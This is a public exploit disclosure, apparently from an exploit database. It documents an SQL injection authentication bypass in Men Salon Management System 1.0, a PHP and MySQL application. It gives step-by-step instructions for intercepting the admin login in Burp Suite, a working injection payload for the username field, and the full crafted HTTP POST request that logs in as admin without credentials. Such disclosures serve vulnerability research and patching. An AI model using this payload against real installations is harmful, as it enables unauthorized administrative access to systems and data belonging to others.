Men Salon Management System 1.0 - SQL Injection Authentication Bypass

# Exploit Title: Men Salon Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-07-30
# Exploit Author:  Akshay Khanna (ConfusedBot)
# Vendor Homepage: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Kali Linux

*POC*

Step 1 -  Go to URL http://localhost:8080/Men/Salon/Management/System/Project/msms/admin/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to   admin ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.

REQUEST

POST /Men/Salon/Management/System/Project/msms/admin/index.php HTTP/1.1
Host: localhost:8080
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost:8080/Men%20Salon%20Management%20System%20Project/msms/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmo6opiohab5jf02r13db3f459
Connection: close

username=admin+%27+or+%271%27%3D%271%27%23&password=a&login=Sign+In